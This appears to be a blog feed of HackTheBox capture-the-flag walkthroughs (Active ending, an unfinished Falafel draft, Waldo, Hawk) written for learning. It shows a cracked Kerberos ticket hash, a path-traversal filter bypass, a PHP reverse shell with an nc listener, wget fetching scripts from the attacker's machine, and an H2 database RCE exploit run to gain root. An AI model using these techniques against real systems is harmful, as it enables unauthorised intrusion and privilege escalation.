<p>$krb5tgs$23$*Administrator$ACTIVE.HTB$active/CIFS~445*$7a5631b150c67e6c40a4eaae2e600139$e0e88d46194f9f78d2c664442ccefe04b76b6e813314d5f7d36b8ac4a873015b556ca98117725a9158311bbb842795da5f494bfeb7ac6a1e31dc0d6c921fa7b89fb69d12d2b7a438257417dd6d73cabe3753dde6a29e133d68339f2a93b848f01073c1fbf430d3d6ea708c417ec8eeac846f46c5f9cda1501460949dc369a190e9399d93aff674d4f3910367a71cf21313598d2d0c22b427b9c0e1b0a7af4731a11b74067432b03697b4f7d96ced9b38cd22ac94c96d730c2dfd65a57a57080ad6b3f9a136307c5462681b23d06b418a0dde475307f828f57f9b8930f5e85bdb42f0661243c453de2aaca0cbdb2f442794f3b675bfd8edd052d6fe41620784a633e1917033fb1a8de83b8ee139d63e878055998a774f86bae4c24eb20ea5f92ba8fac4c11e8e6bd2df75a1ad33735905b8ad3b256e85542b84f5b4ae6999005313440d48b79667bbc84945ac8600627b2aa5d8cfb4f19bd286886281f523a67d59c48d410b61c0be623987a03e8eedfa136c4dcf6eefe06a7d3aa19e12f26a23e315de89b3db75ecba5e4d733809bea11f31bc9de4453c400d096b13aea879494b4c1df19240fd416dd01beabf9a55fda0c5cc251bc5b679d7de14b2392d07eb4bfc27a4626c9f9351a92b2d55591827cee2fa0087ed21fb947ea78a0d178c3c408d098b4b2192b401cfcf3d7d1f4c91307d33b4a617f45677c82cba3f371b9d8e6729b5df17ab292d78b7c19c6bb7505000a33459b2d3bdcee9608caecee2fc965f98a15c6d7eba5071a59e7ced22f2b84117471e2d8a23bbe1a933aa0ab418f71f6b6f3e799bd0c96d3fa855c202d1a2795b6869b48aba75356b337655b07e3be228ca3cf22a25d1b6fd5f2bd5ef62c9a9f920228e8e5bd43b5c581316e4f4384599223283a288649cda963b408893c4fc700d2b377605abdbc4ad63c5138cef45f482cf04bce83b22055cde5982983556426379b47a9055d8d5722f4831d7d5295b5fb18f4b6356b4bfcf4392f6d0725c87067b5846611cad7d61eb5e4424cba6172291f39daca2fc85b960bb1194bb81dc4887ff6f40d4f0280c8e9329244685f81d57c5906ccd3f6d153176ee7541d35ff240f575a06694814a2f34d464f29308d113b625acdfb9f079f457c1366479437819c77c025d5c070ba6b9b4c7b964d6f5d4a50708557f5b919125fc675a0811fcaacc32f7aa7ac71f75b8b5476fbf44777d8a1e33cca17805a45cb90aa291ebf28062890a76cb:Ticketmaster1968</p>
<p>[/bash]</p>
<p>Game, set, match. We got the Administrator password: Ticketmaster1968. Use this password and the Administrator username to browse to the desktop of the Administrator user to get all root key.</p>
<p>In retrospective, I could have also use to following tools/methods:</p>
<ol>
<li> Run invoke-kerberoast.ps1 from <a href="https://github.com/EmpireProject/Empire">Powershell Empire</a> to get all the users to start using Bloodhound for reconnaisance.</li>
<li>Use Pass-The-Hash instead of bruteforcing (not neccessary actually, but could have been nice)</li>
</ol>
<p>&nbsp;</p>
<!--kg-card-end: html-->]]></content:encoded></item><item><title><![CDATA[Falafel - Hackthebox.eu]]></title><description><![CDATA[<!--kg-card-begin: html--><p>Writeup on the Falafel box that has been retire since yesterday. This is one of the harder boxes I&#8217;ve done so far. Lets get started!</p>
<h1>Enumeration</h1>
<p>As always, I start with my trusted nmap scan on all ports:</p>
<p>&nbsp;</p>
<p>[bash]</p>
<p>nmap -sC -sV -p- -oA nmap-initialscan 10.10.</p>]]></description><link>https://www.capturetheflags.com/temp-slug-9/</link><guid isPermaLink="false">602ed4610bcf7d000101077d</guid><dc:creator><![CDATA[FlagCapturer]]></dc:creator><pubDate>Thu, 18 Feb 2021 20:56:01 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: html--><p>Writeup on the Falafel box that has been retire since yesterday. This is one of the harder boxes I&#8217;ve done so far. Lets get started!</p>
<h1>Enumeration</h1>
<p>As always, I start with my trusted nmap scan on all ports:</p>
<p>&nbsp;</p>
<p>[bash]</p>
<p>nmap -sC -sV -p- -oA nmap-initialscan 10.10.10.73</p>
<p>Nmap scan report for 10.10.10.73<br>
Host is up (0.096s latency).<br>
Not shown: 65533 closed ports<br>
PORT STATE SERVICE VERSION<br>
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)<br>
| ssh-hostkey:<br>
| 2048 36:c0:0a:26:43:f8:ce:a8:2c:0d:19:21:10:a6:a8:e7 (RSA)<br>
| 256 cb:20:fd:ff:a8:80:f2:a2:4b:2b:bb:e1:76:98:d0:fb (ECDSA)<br>
|_ 256 c4:79:2b:b6:a9:b7:17:4c:07:40:f3:e5:7c:1a:e9:dd (ED25519)<br>
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))<br>
| http-robots.txt: 1 disallowed entry<br>
|_/*.txt<br>
|_http-server-header: Apache/2.4.18 (Ubuntu)<br>
|_http-title: Falafel Lovers<br>
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</p>
<p>[/bash]</p>
<p>We have a webserver running at port 80 and a SSH service at port 22. Lets fire up gobuster to explore the webserver. I switched to user both the common.txt wordlists from <a href="http://capturetheflags.com/tools-for-ctf/">Seclist</a> as well as the directory-list-2.3-medium.txt that is included with Kali.</p>
<p>[bash]</p>
<p>gobuster -u 10.10.10.73 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -x .html,.txt,.pdf,.cgi,.php,.asp,.aspx</p>
<p>Gobuster v1.4.1 OJ Reeves (@TheColonial)<br>
=====================================================<br>
=====================================================<br>
[+] Mode : dir<br>
[+] Url/Domain : http://10.10.10.73/<br>
[+] Threads : 10<br>
[+] Wordlist : /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt<br>
[+] Status codes : 204,301,302,307,200<br>
[+] Extensions : .html,.txt,.pdf,.cgi,.php,.asp,.aspx<br>
=====================================================<br>
/assets (Status: 301)<br>
/css (Status: 301)<br>
/footer.php (Status: 200)<br>
/header.php (Status: 200)<br>
/images (Status: 301)<br>
/index.php (Status: 200)<br>
/index.php (Status: 200)<br>
/js (Status: 301)<br>
/login.php (Status: 200)<br>
/logout.php (Status: 302)<br>
/profile.php (Status: 302)<br>
/robots.txt (Status: 200)<br>
/robots.txt (Status: 200)<br>
/style.php (Status: 200)<br>
/upload.php (Status: 302)<br>
/uploads (Status: 301)</p>
<p>Gobuster v1.4.1 OJ Reeves (@TheColonial)<br>
=====================================================<br>
=====================================================<br>
[+] Mode : dir<br>
[+] Url/Domain : http://10.10.10.73/<br>
[+] Threads : 10<br>
[+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt<br>
[+] Status codes : 204,301,302,307,200<br>
[+] Extensions : .html,.txt,.pdf,.cgi,.php,.asp,.aspx<br>
=====================================================<br>
/images (Status: 301)<br>
/index.php (Status: 200)<br>
/login.php (Status: 200)<br>
/profile.php (Status: 302)<br>
/uploads (Status: 301)<br>
/header.php (Status: 200)<br>
/assets (Status: 301)<br>
/footer.php (Status: 200)<br>
/upload.php (Status: 302)<br>
/css (Status: 301)<br>
/style.php (Status: 200)<br>
/js (Status: 301)<br>
/logout.php (Status: 302)<br>
/robots.txt (Status: 200)<br>
/cyberlaw.txt (Status: 200)<br>
/connection.php (Status: 200)</p>
<p>[/bash]</p>
<p>Where common.txt showed most of the same stuff as the medium wordlist, I see some big differences with one standing out : http://10.10.10.73/cyberlaw.txt. Lets see whats in this txt file:</p>
<p><em>F</em><em>rom: Falafel Network Admin (admin@falafel.htb)</em><br>
<em>Subject: URGENT!! MALICIOUS SITE TAKE OVER!</em><br>
<em>Date: November 25, 2017 3:30:58 PM PDT</em><br>
<em>To: lawyers@falafel.htb, devs@falafel.htb</em><br>
<em>Delivery-Date: Tue, 25 Nov 2017 15:31:01 -0700</em><br>
<em>Mime-Version: 1.0</em><br>
<em>X-Spam-Status: score=3.7 tests=DNS_FROM_RFC_POST, HTML_00_10, HTML_MESSAGE, HTML_SHORT_LENGTH version=3.1.7</em><br>
<em>X-Spam-Level: ***</em></p>
<p><em>A user named &#8220;chris&#8221; has informed me that he could log into MY account without knowing the password,</em><br>
<em>then take FULL CONTROL of the website using the image upload feature.</em><br>
<em>We got a cyber protection on the login form, and a senior php developer worked on filtering the URL of the upload,</em><br>
<em>so I have no idea how he did it.</em></p>
<p><em>Dear lawyers, please handle him. I believe Cyberlaw is on our side.</em><br>
<em>Dear develpors, fix this broken site ASAP.</em></p>
<p><em>~admin</em></p>
<p>Seems like my next target will be the upload function on the website. And I need to checkout the login bypass as well. Let&#8217;s conclude the enumeration by finding out the php-version that is running on the machine.</p>
<p>&nbsp;</p>
<h1>Exploitation</h1>
<p>I first want to look at the login screen on http://10.10.10.73/login.php. I fire up sqlmap to see if it can force some SQL-injection. I use the wizard option for this (since I am lazy).</p>
<p>While that is running, lets look at the image upload function.</p>
<p>&nbsp;</p>
<h1>Privilege escalation</h1>
<p>Priv Esc</p>
<p>&nbsp;</p>
<p>https://hkh4cks.com/blog/2018/06/24/htb-falafel-walkthrough/</p>
<p>https://infosecuritygeek.com/hackthebox-falafel/</p>
<p>Ippsec:</p>
<p><iframe title="HackTheBox - Falafel" width="750" height="422" src="https://www.youtube.com/embed/CUbWpteTfio?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe></p>
<p>&nbsp;</p>
<!--kg-card-end: html-->]]></content:encoded></item><item><title><![CDATA[Waldo - Hackthebox.eu]]></title><description><![CDATA[<!--kg-card-begin: html--><p>Box just got retired. For the points it gets on HTB.eu, I found it quite challenging&#8230;</p>
<h1>Enumeration</h1>
<p>As always, nmap to get going:</p>
<p>[bash]</p>
<p>sudo nmap -sC -sV -oA inital -p- 10.10.10.87<br>
Starting Nmap 7.70 ( &amp;amp;amp;amp;lt;a href=&quot;https:</p>]]></description><link>https://www.capturetheflags.com/waldo-hackthebox-eu/</link><guid isPermaLink="false">602ed4610bcf7d000101078a</guid><category><![CDATA[capturetheflag]]></category><category><![CDATA[ctf]]></category><category><![CDATA[hackthebox]]></category><category><![CDATA[hackthebox.eu]]></category><category><![CDATA[information security]]></category><category><![CDATA[waldo]]></category><category><![CDATA[walkthrough]]></category><category><![CDATA[writeup]]></category><dc:creator><![CDATA[FlagCapturer]]></dc:creator><pubDate>Sat, 15 Dec 2018 20:19:14 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: html--><p>Box just got retired. For the points it gets on HTB.eu, I found it quite challenging&#8230;</p>
<h1>Enumeration</h1>
<p>As always, nmap to get going:</p>
<p>[bash]</p>
<p>sudo nmap -sC -sV -oA inital -p- 10.10.10.87<br>
Starting Nmap 7.70 ( &amp;amp;amp;amp;lt;a href=&quot;https://nmap.org&quot; data-mce-href=&quot;https://nmap.org&quot;&amp;amp;amp;amp;gt;https://nmap.org&amp;amp;amp;amp;lt;/a&amp;amp;amp;amp;gt; ) at 2018-08-10 08:50 UTC<br>
Nmap scan report for 10.10.10.87<br>
Host is up (0.068s latency).<br>
Not shown: 65532 closed ports<br>
PORT STATE SERVICE VERSION<br>
22/tcp open ssh OpenSSH 7.5 (protocol 2.0)<br>
| ssh-hostkey:<br>
| 2048 c4:ff:81:aa:ac:df:66:9e:da:e1:c8:78:00:ab:32:9e (RSA)<br>
| 256 b3:e7:54:6a:16:bd:c9:29:1f:4a:8c:cd:4c:01:24:27 (ECDSA)<br>
|_ 256 38:64:ac:57:56:44:d5:69:de:74:a8:88:dc:a0:b4:fd (ED25519)<br>
80/tcp open http nginx 1.12.2<br>
|_http-server-header: nginx/1.12.2<br>
| http-title: List Manager<br>
|_Requested resource was /list.html<br>
|_http-trane-info: Problem with XML parsing of /evox/about<br>
8888/tcp filtered sun-answerbook</p>
<p>[/bash]</p>
<p>We got HTTP (80), SSH (22) and some weird sun-answerbook port (8888). Lets try browsing the site.</p>
<p><img loading="lazy" class="alignnone size-full wp-image-281" src="http://capturetheflags.com/wp-content/uploads/2018/12/Screenshot-at-2018-12-15-19-40-23.png" alt width="1366" height="715"></p>
<p>Looks like we need to find Waldo :). I initially got stuck here. Nothing seemed to work in terms of php, traversal&#8217;s, etc. Using Burp, I found out that there are 4 command&#8217;s that are issued on the site:</p>
<p>1. fileRead</p>
<p>2. fileWirte</p>
<p>3. fileDelete</p>
<p>4. dirRead</p>
<p><img loading="lazy" class="alignnone size-full wp-image-282" src="http://capturetheflags.com/wp-content/uploads/2018/12/Screenshot-at-2018-12-15-18-49-18.png" alt width="1366" height="715"></p>
<p>I really like this challenge, because I needed to start using Burp in ways I hadn&#8217;t before, as noted above. I then proceeded to look into what fileRead.php actually does:</p>
<p><img loading="lazy" class="alignnone size-full wp-image-283" src="http://capturetheflags.com/wp-content/uploads/2018/12/Screenshot-at-2018-12-15-17-58-12.png" alt width="1278" height="445"></p>
<p>K, so it reads files. No surprise there. Let&#8217;s see what happens if I use it to read the file itself:</p>
<p><img loading="lazy" class="alignnone size-full wp-image-284" src="http://capturetheflags.com/wp-content/uploads/2018/12/Screenshot-at-2018-12-15-17-59-56.png" alt width="1366" height="715"></p>
<p>Now I understand why the dir traversal didn&#8217;t work! The .php has a string that replaces &#8230;/ with ..\ and/or some other stuff.</p>
<p>[bash]</p>
<p>$_POST[&#8216;file&#8217;] = str_replace( array(\&quot;..\/\&quot;, \&quot;..\\\&quot;\&quot;), \&quot;\&quot;, $_POST[&#8216;file&#8217;]);</p>
<p>[/bash]</p>
<p>Nifety! But not something you can work around with by using &#8230;.// instead of ..//. With &#8230;.//, one of the ../ be replaced, leaving just ../. See below!</p>
<p><img loading="lazy" class="alignnone size-full wp-image-285" src="http://capturetheflags.com/wp-content/uploads/2018/12/Screenshot-at-2018-12-15-18-37-22.png" alt width="1366" height="715"></p>
<p>Error&#8230; Now replace the ../ with &#8230;.//</p>
<p><img loading="lazy" class="alignnone size-full wp-image-286" src="http://capturetheflags.com/wp-content/uploads/2018/12/Screenshot-at-2018-12-15-18-36-08.png" alt width="1366" height="715"></p>
<p>Remote code execution! Awesome! Let&#8217;s see what we can do if we use the dirRead.php instead of fileRead.php</p>
<p><img loading="lazy" class="alignnone size-full wp-image-287" src="http://capturetheflags.com/wp-content/uploads/2018/12/Screenshot-at-2018-12-15-19-55-20.png" alt width="1366" height="715"></p>
<p>Cool, using this command I&#8217;ve did some reconnaisance of the box. I found that there is directory called .dockerenv, which must mean that the site is running in a Docker container.</p>
<p><img loading="lazy" class="alignnone size-full wp-image-288" src="http://capturetheflags.com/wp-content/uploads/2018/12/Screenshot-at-2018-12-15-19-57-43.png" alt width="1366" height="715"></p>
<p>On the the folder with the authorized keys. The .monitor file looks really interesting.</p>
<p><img loading="lazy" class="alignnone size-full wp-image-289" src="http://capturetheflags.com/wp-content/uploads/2018/12/Screenshot-at-2018-12-15-20-13-37.png" alt width="1366" height="715"> Make sure to replace the \n, because they are actually invalid chars through the script. We have a .ssh key. Let&#8217;s see what we can do with it.</p>
<p>[bash]</p>
<p>ssh -i monitor nobody@10.10.10.87<br>
Welcome to Alpine!</p>
<p>The Alpine Wiki contains a large amount of how-to guides and general<br>
information about administrating Alpine systems.<br>
See &amp;amp;amp;amp;lt;http://wiki.alpinelinux.org&amp;amp;amp;amp;gt;.<br>
waldo:~$ whoami<br>
nobody</p>
<p>[/bash]</p>
<h1>Exploitation</h1>
<p>This is actually where I got stuck for a while. There are no strange services running, no sticky bits, no weird users, nothing. Then I realized that I am in Docker container. Maybe I can just use the key to login the localhost:</p>
<p><img loading="lazy" class="alignnone size-full wp-image-294" src="http://capturetheflags.com/wp-content/uploads/2018/12/Screenshot-at-2018-12-15-20-45-07.png" alt width="1366" height="688"></p>
<p>Hello Waldo!</p>
<h1>Privilege escalation</h1>
<p>Next up is to enumerate again. But first I need a shell I can use without restrictions. You can use -t to:</p>
<p><em>Force pseudo-terminal allocation. This can be used to execute</em><br>
<em>arbitrary screen-based programs on a remote machine, which can be</em><br>
<em>very useful, e.g. when implementing menu services. Multiple -t</em><br>
<em>options force tty allocation, even if ssh has no local tty.</em></p>
<p>So lets see if we can get an bash shell with this:</p>
<p>[bash]</p>
<p>waldo:~$ ssh -i .ssh/.monitor monitor@localhost -t bash<br>
monitor@waldo:~$</p>
<p>[/bash]</p>
<p>And again, I got stuck for quite a while after that. I&#8217;ve then send over LinEnum as described in the <a href="http://capturetheflags.com/2018/12/15/hawk-hackthebox-eu/">Hawk write-up</a>. Initially it didn&#8217;t show up anything, until I ran the thorough version. After talking to some friends and colleagues, one of them pointed me at capabilities of files. I&#8217;ve honestly never heard of this up until that moment. However, this does not work out of the box with the shell I&#8217;ve got. I need to define all the PATH&#8217;s.</p>
<p>[bash]</p>
<p>export PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:$PATH</p>
<p>[/bash]</p>
<p>Most interesting part of the LinEnum.sh now is:</p>
<p>[bash]</p>
<p>-e [+] Files with POSIX capabilities set:<br>
/usr/bin/tac = cap_dac_read_search+ei<br>
/home/monitor/app-dev/v0.1/logMonitor-0.1 = cap_dac_read_search+ei</p>
<p>[/bash]</p>
<p>After looking into <a href="https://linux.die.net/man/1/tac">tac,</a>it seemed that I could use it to open root.txt.</p>
<p>[bash]</p>
<p>monitor@waldo:/tmp$ /usr/bin/tac /root/root.txt</p>
<p>8fb67c84418be6e45fbd348fd4584f</p>
<p>[/bash]</p>
<p>Finally! Man, this was a hard box :). Learned so much, this is why I am doing these CTF&#8217;s.</p>
<p>ippsec video on this box</p>
<p><iframe title="HackTheBox - Waldo" width="750" height="422" src="https://www.youtube.com/embed/1klneIHECqY?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<!--kg-card-end: html-->]]></content:encoded></item><item><title><![CDATA[Hawk - Hackthebox.eu]]></title><description><![CDATA[<!--kg-card-begin: html--><p>This box requires you to fumble around with SSL and .enc files. Takes some bruteforcing and luck&#8230;</p>
<h1>Enumeration</h1>
<p>Nmap ftw.</p>
<p>[bash]</p>
<p>nmap -sC -sV -o- -oA initial 10.10.10.102</p>
<p> Nmap 7.70 scan initiated Wed Jul 18 18:42:26 2018 as: nmap -sC -sV -p- -oA</p>]]></description><link>https://www.capturetheflags.com/hawk-hackthebox-eu/</link><guid isPermaLink="false">602ed4610bcf7d0001010789</guid><category><![CDATA[capturetheflag]]></category><category><![CDATA[ctf]]></category><category><![CDATA[hackthebox]]></category><category><![CDATA[hackthebox.eu]]></category><category><![CDATA[hawk]]></category><category><![CDATA[information security]]></category><category><![CDATA[walkthrough]]></category><category><![CDATA[writeup]]></category><dc:creator><![CDATA[FlagCapturer]]></dc:creator><pubDate>Sat, 15 Dec 2018 13:18:37 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: html--><p>This box requires you to fumble around with SSL and .enc files. Takes some bruteforcing and luck&#8230;</p>
<h1>Enumeration</h1>
<p>Nmap ftw.</p>
<p>[bash]</p>
<p>nmap -sC -sV -o- -oA initial 10.10.10.102</p>
<p> Nmap 7.70 scan initiated Wed Jul 18 18:42:26 2018 as: nmap -sC -sV -p- -oA inital 10.10.10.102<br>
Nmap scan report for 10.10.10.102<br>
Host is up (0.030s latency).<br>
Not shown: 65529 closed ports<br>
PORT STATE SERVICE VERSION<br>
21/tcp open ftp vsftpd 3.0.3<br>
| ftp-anon: Anonymous FTP login allowed (FTP code 230)<br>
|_drwxr-xr-x 2 ftp ftp 4096 Jun 16 22:21 messages<br>
| ftp-syst:<br>
| STAT:<br>
| FTP server status:<br>
| Connected to ::ffff:10.10.16.23<br>
| Logged in as ftp<br>
| TYPE: ASCII<br>
| No session bandwidth limit<br>
| Session timeout in seconds is 300<br>
| Control connection is plain text<br>
| Data connections will be plain text<br>
| At session startup, client count was 4<br>
| vsFTPd 3.0.3 &#8211; secure, fast, stable<br>
|_End of status<br>
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)<br>
| ssh-hostkey:<br>
| 2048 e4:0c:cb:c5:a5:91:78:ea:54:96:af:4d:03:e4:fc:88 (RSA)<br>
| 256 95:cb:f8:c7:35:5e:af:a9:44:8b:17:59:4d:db:5a:df (ECDSA)<br>
|_ 256 4a:0b:2e:f7:1d:99:bc:c7:d3:0b:91:53:b9:3b:e2:79 (ED25519)<br>
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))<br>
|_http-generator: Drupal 7 (http://drupal.org)<br>
| http-robots.txt: 36 disallowed entries (15 shown)<br>
| /includes/ /misc/ /modules/ /profiles/ /scripts/<br>
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt<br>
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt<br>
|_/LICENSE.txt /MAINTAINERS.txt<br>
|_http-server-header: Apache/2.4.29 (Ubuntu)<br>
|_http-title: Welcome to 192.168.56.103 | 192.168.56.103<br>
5435/tcp open tcpwrapped<br>
8082/tcp open http H2 database http console<br>
|_http-title: H2 Console<br>
9092/tcp open XmlIpcRegSvc?</p>
<p>[/bash]</p>
<p>So we have HTTP (80), SSH (22), FTP (21), HTTP H2 database (8082) and some random stuff (5435, 9092). Lets start by browsing the FTP port.</p>
<p>[bash]</p>
<p>ftp 10.10.10.102<br>
Connected to 10.10.10.102.<br>
220 (vsFTPd 3.0.3)<br>
Name (10.10.10.102:root): anonymous<br>
230 Login successful.<br>
Remote system type is UNIX.<br>
Using binary mode to transfer files.<br>
ftp&amp;amp;amp;gt; ls<br>
200 PORT command successful. Consider using PASV.<br>
150 Here comes the directory listing.<br>
drwxr-xr-x 2 ftp ftp 4096 Jun 16 22:21 messages<br>
226 Directory send OK.<br>
ftp&amp;amp;amp;gt; cd messages<br>
250 Directory successfully changed.<br>
ftp&amp;amp;amp;gt; ls<br>
200 PORT command successful. Consider using PASV.<br>
150 Here comes the directory listing.<br>
226 Directory send OK.<br>
ftp&amp;amp;amp;gt; ls -lhra<br>
200 PORT command successful. Consider using PASV.<br>
150 Here comes the directory listing.<br>
-rw-r&#8211;r&#8211; 1 ftp ftp 240 Jun 16 22:21 .drupal.txt.enc<br>
drwxr-xr-x 3 ftp ftp 4096 Jun 16 22:14 ..<br>
drwxr-xr-x 2 ftp ftp 4096 Jun 16 22:21 .<br>
226 Directory send OK.<br>
ftp&amp;amp;amp;gt; get .drupal.txt.enc<br>
local: .drupal.txt.enc remote: .drupal.txt.enc<br>
200 PORT command successful. Consider using PASV.<br>
150 Opening BINARY mode data connection for .drupal.txt.enc (240 bytes).<br>
226 Transfer complete.<br>
240 bytes received in 0.00 secs (1.4486 MB/s)<br>
ftp&amp;amp;amp;gt; exit<br>
221 Goodbye.</p>
<p>[/bash]</p>
<p>What you see above is that I connected to the FTP server, logged in anonymously. the initial ls command didn&#8217;t show anything, but using ls -lhra (including showing hidden files) shows a hidden file (recognizable by the .) called .drupal.txt.enc.</p>
<p>A file with .enc extension means that the file is encrypted. You can verify this with the file command:</p>
<p>[bash]</p>
<p>file drupal.txt.enc<br>
drupal.txt.enc: openssl enc&#8217;d data with salted password, base64 encoded</p>
<p>[/bash]</p>
<p>Lets use base64 to decode the content.</p>
<p>[bash]</p>
<p>base64 -d drupal.txt.enc &amp;amp;gt; drupal.txt.decoded</p>
<p>[/bash]</p>
<p>After reading up on (SSL) encryption through <a href="https://wiki.openssl.org/index.php/Enc">this link</a>, I decided to use bruteforce-salted-openssl with the rockyou wordlist. I guess I got lucky here and selected the correct cipher (AES-256-CBC) and digest (SHA256) for for decryption.</p>
<p>[bash]</p>
<p>bruteforce-salted-openssl -v 10 -t 6 -f /usr/share/wordlists/rockyou.txt -d sha256 ciphertext<br>
Warning: using dictionary mode, ignoring options -b, -e, -l, -m and -s.</p>
<p>Tried passwords: 31<br>
Tried passwords per second: inf<br>
Last tried password: pretty</p>
<p>Password candidate: friends<br>
Tried passwords: 6255562<br>
Tried passwords per second: 625556.200000<br>
Last tried password: lester2411</p>
<p>Tried passwords: 13280069<br>
Tried passwords per second: 664003.450000<br>
Last tried password: 13413011</p>
<p>[/bash]</p>
<p>Lets use the &#8216;friends&#8217; password to decrypt the file</p>
<p>[bash]</p>
<p>openssl aes-256-cbc -d -in drupal.txt.decoded -out login.txt -k friends<br>
*** WARNING : deprecated key derivation used.<br>
Using -iter or -pbkdf2 would be better.</p>
<p>cat login.txt</p>
<p>Daniel,</p>
<p>Following the password for the portal:</p>
<p>[P]encilKeyboardScanner123</p>
<p>Please let us know when the portal is ready.</p>
<p>Kind Regards,</p>
<p>IT department</p>
<p>[/bash]</p>
<p>So we have the password for the drupal site.  Password = [P]encilKeyboardScanner123. Lets start exploiting the Drupal site.</p>
<h1><span style="font-size: 1.125em;">Exploitation</span></h1>
<p>I&#8217;ve tried logging into the site with the username &#8216;admin&#8217; and the aforementioned password. And voila, I was logged in.</p>
<p><img loading="lazy" class="alignnone size-full wp-image-272" src="http://capturetheflags.com/wp-content/uploads/2018/12/Screenshot-at-2018-12-15-13-02-56.png" alt width="1340" height="649"></p>
<p>Whenever I encounter a CMS system like this, I will try to get a php reverse shell, since most of these systems support php. However, on Drupal you need to enable this since it is not enabled my default. Just to be certain, I also run droopescan to see if any vulnerabilities show up. I did  an unauthenticated scan, just to see what came back.</p>
<p>[bash]</p>
<p>droopescan scan -u 10.10.10.102<br>
[+] Site identified as drupal.<br>
[+] Themes found:<br>
seven http://10.10.10.102/themes/seven/<br>
garland http://10.10.10.102/themes/garland/</p>
<p>[+] Possible interesting urls found:<br>
Default changelog file &#8211; http://10.10.10.102/CHANGELOG.txt<br>
Default admin &#8211; http://10.10.10.102/user/login</p>
<p>[+] Possible version(s):<br>
7.58</p>
<p>[+] Plugins found:<br>
image http://10.10.10.102/modules/image/<br>
profile http://10.10.10.102/modules/profile/<br>
php http://10.10.10.102/modules/php/</p>
<p>[/bash]</p>
<p>Version 7.58 is not vulnerable to <a href="https://research.checkpoint.com/uncovering-drupalgeddon-2/">Drupalgeddon2</a> and nothing really stands out. So let&#8217;s continue down the PHP path. Enable php filter through the modules page.</p>
<p><img loading="lazy" class="alignnone size-full wp-image-273" src="http://capturetheflags.com/wp-content/uploads/2018/12/Screenshot-at-2018-12-15-13-16-05.png" alt width="1350" height="255"></p>
<p>I have good experiences with the laudanum  php reverse shell, which is the one created by <a href="http://capturetheflags.com/tools-for-ctf/">pentest monkey</a>. Laudanum should be in most pentesting distro&#8217;s (at least Kali and Parrot), use locate to find it:</p>
<p>[bash]</p>
<p>locate shell | grep php</p>
<p>*Snip*&lt;br data-mce-bogus=&quot;1&quot;&gt;</p>
<p>/usr/share/laudanum/php/php-reverse-shell.php<br>
/usr/share/laudanum/php/shell.php</p>
<p>[/bash]</p>
<p>Copy paste the content op php-reverse-shell.php into a new article. Set the format tot PHP code. Don&#8217;t forget to edit the IP and port field. Press add or preview when done and&#8230;</p>
<p>[bash]</p>
<p>nc -lnvp 8082<br>
listening on [any] 8082 &#8230;<br>
connect to [10.10.14.10] from (UNKNOWN) [10.10.10.102] 36426<br>
Linux hawk 4.15.0-23-generic #25-Ubuntu SMP Wed May 23 18:02:16 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux<br>
12:39:36 up 5 days, 14:13, 0 users, load average: 0.00, 0.00, 0.04<br>
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT<br>
uid=33(www-data) gid=33(www-data) groups=33(www-data)<br>
/bin/sh: 0: can&#8217;t access tty; job control turned off</p>
<p>$ whoami<br>
www-data<br>
[/bash]</p>
<p>Browse to /home/daniel/user.txt for the user flag.</p>
<h1>Privilege Escalation</h1>
<p>I order to do some additional enumeration on the box, I pulled in <a href="http://capturetheflags.com/tools-for-ctf/">LinEnum.sh</a> and ran it from /tmp. I did this by running a simple HTTP server on my machine and using wget on the Hawk machine to pull the script in.</p>
<p>On my machine, in the folder in which LinEnum.sh is located:</p>
<p>[bash]</p>
<p>python -m SimpleHTTPServer 8081</p>
<p>[/bash]</p>
<p>On the Hawk machine, I wentto /tmp so I have a place to write files to and then:</p>
<p>[bash]</p>
<p>wget ipofmymachine:8081/LinEnum.sh</p>
<p>[/bash]</p>
<p>After running LinEnum.sh, I saw the following result:</p>
<p>[bash]</p>
<p>root 818 0.0 0.0 4628 864 ? Ss Dec09 0:00 /bin/sh -c /usr/bin/java -jar /opt/h2/bin/h2-1.4.196.jar<br>
root 819 0.1 4.9 2329256 49160 ? Sl Dec09 9:22 /usr/bin/java -jar /opt/h2/bin/h2-1.4.196.jar</p>
<p>[/bash]</p>
<p>This looks like the H2 database that is running on port 8082. It seems like the proces is running as root. That&#8217;s interesting. It even specifies the version. Let&#8217;s look into searchsploit:</p>
<p>[bash]</p>
<p>searchsploit H2 Database</p>
<p>*SNIP*&lt;br data-mce-bogus=&quot;1&quot;&gt;</p>
<p>H2 Database &#8211; &#8216;Alias&#8217; Arbitrary Code Execution | exploits/java/local/44422.py<br>
H2 Database 1.4.196 &#8211; Remote Code Execution | exploits/java/webapps/45506.py<br>
H2 Database 1.4.197 &#8211; Information Disclosure | exploits/linux/webapps/45105.py<br>
[/bash]</p>
<p>Ah yes, remote code execution. Sounds like the thing we need. I just copied the contents of that file into exploit.py. Then I used the wget method as noted above to copy the file to Hawk. Execute to get:</p>
<p>[bash]</p>
<p>www-data@hawk:/tmp$ python3 exploit.py -H 127.0.0.1:8082<br>
python3 exploit.py -H 127.0.0.1:8082<br>
[*] Attempting to create database<br>
[+] Created database and logged in<br>
[*] Sending stage 1<br>
[+] Shell succeeded &#8211; ^c or quit to exit</p>
<p>h2-shell$ whoami<br>
root</p>
<p>h2-shell$</p>
<p>[/bash]</p>
<p>Done!</p>
